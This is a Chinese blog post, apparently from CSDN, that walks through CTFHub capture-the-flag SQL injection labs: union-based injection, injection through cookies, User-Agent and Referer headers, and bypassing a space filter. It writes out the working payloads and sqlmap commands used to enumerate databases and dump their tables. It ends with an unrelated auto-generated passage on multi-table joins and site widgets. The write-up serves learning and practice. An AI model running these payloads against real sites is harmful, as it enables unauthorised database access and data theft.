SQL(四)

一:MySQL结构

主要是使用union联合注入的方法解题:

具体:【sql注入-union注入】 union函数 联合注入_union联合注入-CSDN博客

1.查找注入点:

?id=1 and 1=1
?id=1 and 1=2
?id=1' and1=1#

输入第一句有回显,而后面两句没有回显,说明存在注入

并且判断为整数型注入

2.接下来判断列数

1  order by 1
1  order by 2
1  order by 3

order by=group by

执行前两句命令有回显,第三句就没有回显了,所以判断有2列

3.查看回显位置

?id=-1(0) union select 1,2 #

4.爆数据库

?id=-1 union select 1,database()

查看所有的数据库

5.爆表

id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

6.爆表eitcfemugv中的列qmtdwyflyp

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='eitcfemugv'

7.爆字段

?id=-1 union select 1,group_concat(qmtdwyflyp) from sqli.eitcfemugv #

还有用sqlmap的方法

sqlmap -u "http://challenge-13d382e7f12ec0df.sandbox.ctfhub.com:10800/?id=1" --dbs 爆库

sqlmap -u "http://challenge-13d382e7f12ec0df.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables 爆表

sqlmap -u "http://challenge-13d382e7f12ec0df.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol --columns 爆列

sqlmap -u "http://challenge-13d382e7f12ec0df.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol -C uzufsfbkmh --dump爆数据

二:Cokie注入

1.定义:Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站。

其实cookie注入与传统的SQL注入基本上是一样,都是针对数据库的注入,就是注入的位置不同注入形式不同。

2.以下是cookie中常用属性的解释:

    Name:这个是cookie的名字
    Value:这个是cooke的值
    Path:这个定义了Web站点上可以访问该Cookie的目录
    Expires:这个值表示cookie的过期时间,也就是有效值,cookie在这个值之前都有效。
    Size:这个表示cookie的大小

3.cookie的生命周期:

cookie有2种存储方式,一种是会话性,一种是持久性。

    会话性:如果cookie为会话性,那么cookie仅会保存在客户端的内存中,当我们关闭客服端时cookie也就失效了
    持久性:如果cookie为持久性,那么cookie会保存在用户的硬盘中,直至生存期结束或者用户主动将其销毁。
    cookie我们是可以进行设置的,我们可以人为设置cookie的有效时间,什么时候创建,什么时候销毁。

4.注意:我们在发送HTTP请求时,发现游览器将我们的cookie都进行了携带(注意:游览器只会携带在当前请求的url中包含了该cookie中path值的cookie),并且是以key:value的形式进行表示的。多个cookie用;进行隔开。

Cookie 注入需要在网页 Cookie 中修改其参数进行注入判断。

我们可以直接使用hackbar在题目页面注入;同时也可以使用bp抓包修改cookie参数

(一)hackbar的方法:

1.查找注入点

在cookie中传入id=1,2发现存在注入点

2.输入:?id=1,页面正常回显,所以判断为数字型注入

3.判断字段数量:

id=1 order by 2

4.查询回显位:

id=-1 union select 1,2

5.爆破数据库:

id=-1 union select 1,database()

6.爆破表:

id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

7.爆破rkqzpidrvh表中的列jlxrbsxoju:

id=-1 union select 1,group_concat(column_name)from information_schema.cloumns where table_schema='sqli' and table_name='rkqzpidrvh'

8.爆破列中的所有数据:

三.UA注入

1.原理:有些网站会把用户的UA信息写入数据库,用来收集和统计用户信息,此时就有可能存在UA 头注入,一般会把数据插入到某张表中所以可以用报错注入

2.User-Agent是Http协议中的一部分,属于头域的组成部分,(简称UA)。是一种向访问网站提供你所使用的浏览器类型、操作系统、版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。

UA字符串在每次浏览器 HTTP 请求时发送到服务器。

其实UA注入和cookie注入差不多,要在UA请求头中进行SQL注入

例题:

1.  判断为数字型注入

2.查询字段数量:

id=1 order by 2

字段数量为两列

3.查询回显位置:

id=1 union select 1,2

4.爆数据库:

id=-1 union select 1,database()

5.爆表dftfmhwomu:

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

6.爆表dftfmhwomu中的列bqghtnngcc:

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='dftfmhwomu'

7.爆字段中的所有数据:

id=-1 union select 1,group_concat(bqghtnngcc) from sqli.dftfmhwomu

四.Refer注入

1. Refer注入原理

    (1)Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
    (2)Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。

例题:

1.判断为数字型注入:

id=1

id=2

2.查询字段数量:

id=1 group by 2

3.查询回显的位置:

id=-1 union select 1,2

4.爆破数据库:

id=-1 union select 1,database()

5.爆表:

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

6.爆列:

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='gykemkzkmh'

7.爆所有数据:

id=-1 union select 1,group_concat(mlkiauhnmp) from sqli.gykemkzkmh

五.过滤空格

常见的过滤方法:

例题:

因为本题目已经知道是过滤空格的方式了,所以便直接使用空格过滤的方法做题

1.判断为数字型注入:

id=1

id=2

2.查询字数段数量:

id=1#order#by#2

3.判断回显位置:

id=-1/**/union/**/select/**/1,2

4.爆库:

id=-1/**/union/**/select/**/1,database()

5.爆表:

id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

6.爆字数段:

id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='vfgchyknpi'

7.爆所有数据:

id=-1/**/union/**/select/**/1,group_concat(tdnlgtodrm)/**/from/**/sqli.vfgchyknpi

  • 26
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL 张表大数据询是指在进行数据库询时,涉及到张表的询操作。在这种情况下,我们需要编写复杂的SQL语句来实现所需的询功能。 首先,我们需要了解张表之间的关系和结构。假设我们有张表A、B、C和D,它们之间的关系是A表与B表是一对多关系,B表与C表是多对多关系,C表与D表是多对一关系。 对于这种情况,我们可以使用多个连接语句来连接这张表。例如,我们可以使用内连接、左连接、右连接或全连接等来实现不同的询需求。 假设我们要询A表中的某些信息,并同时获取与A表相关的B表、C表和D表中的信息。我们可以使用以下步骤进行询: 1. 使用连接语句将A表与B表连接起来,以检索与之相关的信息。 2. 使用连接语句将B表与C表连接起来,以检索与之相关的信息。 3. 使用连接语句将C表与D表连接起来,以检索与之相关的信息。 4. 最后,使用WHERE子句来添加任何其他的筛选条件,以获得所需的结果。 这样,我们就可以利用张表之间的关系,通过一次询来获取所需的数据。 需要注意的是,在进行大数据询时,我们需要考虑性能和效率问题。为了提高询速度,可以使用索引、适当的分区以及合理的询优化方法,以减少询的时间和资源消耗。 总的来说,SQL张表大数据询需要灵活运用连接语句和合适的询优化方法,以实现复杂的询需求,并在保证询性能的前提下获取所需的结果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值